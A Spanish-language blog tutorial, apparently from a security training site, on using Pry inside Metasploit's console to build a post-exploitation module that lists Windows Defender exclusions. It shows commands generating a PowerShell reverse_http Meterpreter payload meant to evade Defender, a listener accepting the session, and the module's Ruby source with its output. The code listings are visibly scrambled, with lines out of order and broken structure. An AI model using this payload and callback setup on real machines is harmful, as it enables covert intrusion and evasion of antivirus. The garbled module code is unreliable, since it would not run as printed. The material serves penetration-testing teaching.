28 septiembre 2015

Usando Pry en Desarrollo de Modulos en Metasploit


Vamos a cubrir el uso básico de Pry para escribir un modulo sencillo que enumerará las excepciones configuradas en Windows Defender en una maquina OS X o Linux. Aunque se puede desarrollar para Metasploit en una máquina que esté corriendo Windows no es recomendado debido a todas las limitantes que nos trae. Pry es un módulo de Ruby que se puede usar en vez de irb para tener una sesión interactiva dentro del contexto del framework para ejecutar comandos y pruebas. El mismo actúa como un prompt que podrí­amos tener en bash o en otra consola, lo cual lo hace familiar para el rápido aprendizaje del mismo. 

Comencemos con preparar una estructura de carpetas similar a la estructura que usa Metasploit Framework para sus módulos y la inicializamos con git de manera de poder tener control de versión de la misma.

infidel01:~ carlos$ mkdir -p modulos/post/windows/gather
infidel01:~ carlos$ cd modulos/
Initialized empty Git repository in /Users/carlos/modulos/.git/
infidel01:modulos carlos$ git init
Una vez inicializado podermos crear el módulo que estaremos escribiendo y lo añadimos a la base de datos de control de git.

infidel01:modulos carlos$ touch post/windows/gather/get_windefender_exclusions.rb
infidel01:modulos carlos$ git add post/windows/gather/get_windefender_exclusions.rb

Abrimos en nuestro editor favorito el archivo que creamos y creamos lo que llamo el esqueleto de un modulo de post-exploitation en el cual incluimos el mixin de registry para Windows y de reporte. 

Añadimos información general como la licencia, autor, que es para un sistema Windows y que el tipo de sesión es Meterpreter. 

Los mixin serían: 
* Msf::Post::Windows::Registry 
* include Msf::Auxiliary::Report 

 El modulo se vería así
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
require 'msf/core/auxiliary/report'
## require 'msf/core' require 'rex' class Metasploit3 < Msf::Post
include Msf::Auxiliary::Report
include Msf::Post::Windows::Registry def initialize(info={})
'Name' => 'Windows enumerate Windows Defender exclusions.',
super( update_info( info, 'Description' => %q{
'License' => BSD_LICENSE,
Windows enumerate Windows Defender exclusions. },
'Author' => [ 'Carlos Perez ' ],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
)) end def run()
print_status("Running post module against #{sysinfo['Computer']}")
end
end

Generemos un payload en formato PowerShell de manera que evite la detección del mismo Windows Defender dandole como LHOST el IP de la máquina donde esta msfconsole corriendo:
msf > use payload/windows/meterpreter/reverse_http
msf payload(reverse_http) > set LHOST 192.168.100.2
LHOST => 192.168.100.2
msf payload(reverse_http) > generate -t psh-reflection -f /tmp/dev_payload.ps1
[*] Writing 2673 bytes to /tmp/dev_payload.ps1...
msf payload(reverse_http) >

Ahora usando el Multi Handler creamos un trabajo que recibirá la sesión usando la información previa, ponemos ExitOnSession en falso de manera que siga escuchando por mas conexiones una vez establezca una e inicializamos el mismo como un job y en background.

msf payload(reverse_http) > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_http
PAYLOAD => windows/meterpreter/reverse_http
LHOST => 192.168.100.2
msf exploit(handler) > set LHOST 192.168.100.2
msf exploit(handler) > exploit -j -z
msf exploit(handler) > set ExitOnSession false ExitOnSession => false
[*] Started HTTP reverse handler on http://0.0.0.0:8080/
[*] Exploit running as background job.
msf exploit(handler) > [*] Starting the payload handler...

En nuestra máquina Windows 8/8.1/10 abrimos Windows PowerShell x86 y copiamos el contenido del PS1 en la misma pantalla y lo ejecutamos, una sesión debe ser creada en msfconsole.
msf payload(reverse_http) >
[*] 192.168.100.176:51786 (UUID: b0790294217a0a22/x86=1/windows=1/2015-09-22T18:32:23Z) Staging Native payload ...
[*] Meterpreter session 1 opened (192.168.100.1:8080 -> 192.168.100.176:51786) at 2015-09-22 14:32:24 -0400
Type: meterpreter x86/win32
msf payload(reverse_http) > sessions -v Active sessions =============== Session ID: 1
Via: exploit/multi/handler
Info: WIN-RB3R8HILN3R\Carlos Perez @ WIN-RB3R8HILN3R Tunnel: 192.168.100.1:8080 -> 192.168.100.176:51786 (192.168.100.176)
CheckIn: 4s ago @ 2015-09-22 14:40:19 -0400
UUID: b0790294217a0a22/x86=1/windows=1/2015-09-22T18:32:23Z MachineID: 272520e89cdbf67b2d3f87c9696871cd Registered: No

Ahora podemos decirle a msfconsole que cargue el modulo que creamos del directorio de desarrollo.
msf payload(reverse_http) > loadpath ~/modulos
Loaded 1 modules:
1 post

Cargamos el modulo de manera de poder configurar el mismo con la sesión que creamos previamente y probamos que podemos ver su información.

msf exploit(handler) > use post/windows/gather/get_windefender_exclusions
msf post(get_windefender_exclusions) > set SESSION 1 SESSION => 1
Name: Windows enumerate Windows Defender exclusions.
msf post(get_windefender_exclusions) > info Module: post/windows/gather/get_windefender_exclusions
Carlos Perez
Platform: Windows Arch: Rank: Normal Provided by:
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 1 yes The session to run this module on.
Description:
Windows enumerate Windows Defender exclusions.

Nuestro módulo ya está apuntando a una sesión y podemos comenzar a usar pry para explorar lo que tenemos disponible bajo su contexto dentro de Metasploit Framework. Esto lo conseguimos comenzando la terminal de pry dentro del mismo msfconsole entrando el commando:
msf post(get_windefender_exclusions) > pry
[1] pry(#)>

El prompt será una largo por que tiene información del módulo donde estamos. Dependiendo del tamaño de pantalla que estemos usando, el mismo puede ser un tanto incómodo. Una manera para hacer el mismo má sencillo es usando el comando simple-prompt.
pry(#)> simple-prompt
>>

Para ver la ayuda de Pry entramos el comando de help, para paginar el mismo presionamos la tecla de espacio y para salir de la ayuda presionamos la tecla de Q.

>> help

Comenzaremos con ver el código fuente del modulo mismo usando el comando show-source:

>> show-source

Ahora miremos todas los métodos y funciones que podemos ejecutar bajo el contexto del modulo usando el comando de ls, podemos igual que antes paginar usando la tecla de espacio y salir presionando la tecla Q:

>> ls

como estaremos trabajando con el registry listemos solo los métodos relacionados con el mismo dándole el nombre del mixin de registry que importamos, el comando sería "ls Msf::Post::Windows::Registry"
>> ls Msf::Post::Windows::Registry
constants: REGISTRY_VIEW_32_BIT REGISTRY_VIEW_64_BIT REGISTRY_VIEW_NATIVE
Msf::Post::Windows::Registry#methods:
registry_createkey registry_deleteval registry_enumvals registry_getvalinfo registry_setvaldata
registry_deletekey registry_enumkeys registry_getvaldata registry_loadkey registry_unloadkey

Podemos identificar el método registry_enumkeys como el método que nos ayudaría a conseguir los keys debajo de otro, podemos ver el código del mismo y los valores que acepta usando el comando de show-source y dandole el nombre del método:
>> show-source registry_enumkeys
From: /usr/local/share/metasploit-framework/lib/msf/core/post/windows/registry.rb @ line 94:
Owner: Msf::Post::Windows::Registry Visibility: public Number of lines: 7
meterpreter_registry_enumkeys(key, view)
def registry_enumkeys(key, view = REGISTRY_VIEW_NATIVE) if session_has_registry_ext else
end
shell_registry_enumkeys(key, view)
end

Podemos ver que requiere una valor que seria la llave que vamos a enumerar y el otro es una constante ya dada que tiene que ver con si queremos ver solo el valor de la llave en contexto x64, x86 o la visión nativa del proceso bajo el cual estamos corriendo, en el caso que esté corriendo en una maquina X64 y la versión de Meterpreter que estamos usando es x86 necesitamos especificar que es el contexto de x64 el que queremos, si no el contexto nativo es suficiente. Para ver la información de la arquitectura del sistema podemos ver la variable sysinfo que se auto genera en una sesión meterpreter la cual incluye la información:
>> sysinfo
=> {"Computer"=>"WIN-RB3R8HILN3R",
"OS"=>"Windows 10 (Build 10240).",
"Architecture"=>"x64 (Current Process is WOW64)",
"System Language"=>"en_GB",
"Logged On Users"=>2}
"Domain"=>"WORKGROUP",

Probemos enumerando la llave que contiene la excepciones de Windows Defender que es HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions y ver que valores nos devuelve:
>> registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions", REGISTRY_VIEW_64_BIT)
=> ["Extensions", "Paths", "Processes", "TemporaryPaths"]

Podemos ver que nos devuelve un array con los nombres de las llaves. Podemos editar nuestro modulo desde dentro del mismo pry si deseamos. Guardemos el array que recibimos de tipos de exclusión en una variable de manera de poder entonces enumerar cada uno de ellos.
>> exclusion_key = "HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions"
=> "HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions"
=> ["Extensions", "Paths", "Processes", "TemporaryPaths"]
>> exception_types = registry_enumkeys(exclusion_key,REGISTRY_VIEW_64_BIT)
Ahora podemos probar cata tipo de excepción y ver si tenemos alguna configurada.
>> exception_types.each do |et|
| puts registry_enumvals("#{exclusion_key}\\#{et}",REGISTRY_VIEW_64_BIT)
| end C:\Users\Carlos Perez\Desktop\test_code \\192.168.1.2\media
=> ["Extensions", "Paths", "Processes", "TemporaryPaths"]

Podemos ver que podemos enumerar las que están configuradas de tipo path. Ahora que tenemos toda la información que necesitamos y que confirmamos podemos salir de pry escribiendo el comando de exit. Una vez fuera podemos escribir edit en msfconsole

>> exit
msf post(get_windefender_exclusions) > edit

Podemos ahora terminar de añadir toda la lógica necesaria para terminal el módulo.
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
require 'msf/core/auxiliary/report'
## require 'msf/core' require 'rex' class Metasploit3 < Msf::Post
include Msf::Auxiliary::Report
include Msf::Post::Windows::Registry def initialize(info={})
'Name' => 'Windows enumerate Windows Defender exclusions.',
super( update_info( info, 'Description' => %q{
'License' => BSD_LICENSE,
Windows enumerate Windows Defender exclusions. },
'Author' => [ 'Carlos Perez ' ],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
)) end def run()
print_status("Running post module against #{sysinfo['Computer']}")
print_status("Enumerating Windows Defender exceptions:")
if sysinfo['Architecture'] =~ /x64/
exclusion_key = "HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions"
exception_types = registry_enumkeys(exclusion_key)
exception_types = registry_enumkeys(exclusion_key,REGISTRY_VIEW_64_BIT) else end exception_types.each do |et|
exclusions = registry_enumvals("#{exclusion_key}\\#{et}",REGISTRY_VIEW_64_BIT)
vprint_status("Checking for #{et} exceptions.") if sysinfo['Architecture'] =~ /x64/ else exclusions = registry_enumvals("#{exclusion_key}\\#{et}")
vprint_status("No exclusions found for #{et}")
end if exclusions.length > 0 print_status("Exceptions found for #{et}") exclusions.each do |exc| print_good("\t#{exc}") end else
end
end end
end

Una vez salimos del editor msfconsole vuelve a cargar el módulo y podemos ahora probar los cambios.
msf post(get_windefender_exclusions) > edit
[*] Launching /usr/bin/vim /Users/carlos/modulos/post/windows/gather/get_windefender_exclusions.rb
msf post(get_windefender_exclusions) > reload [*] Reloading module...
[*] Enumerating Windows Defender exceptions:
msf post(get_windefender_exclusions) > run [*] Running post module against WIN-RB3R8HILN3R
[*] Post module execution completed
[*] Exceptions found for Paths [+] C:\Users\Carlos Perez\Desktop\test_code [+] \\192.168.1.2\media
msf post(get_windefender_exclusions) >

En resumen, hemos visto como Pry nos puede ayudar a poder visualizar  mejor las llamadas del API, probar las mismas y a su vez reducir el tiempo cuando escribimos un módulo. Los mismos conceptos nos pueden servir cuando estamos tratando de resolver problemas con módulos existentes probando cada uno de sus componentes.

De Pry y de muchos más topics relacionados con Metasploit a nivel avanzado, hablaré en el Módulo III del curso de Hacking Ético de Securízame
  
Contribución cortesía de: Carlos Pérez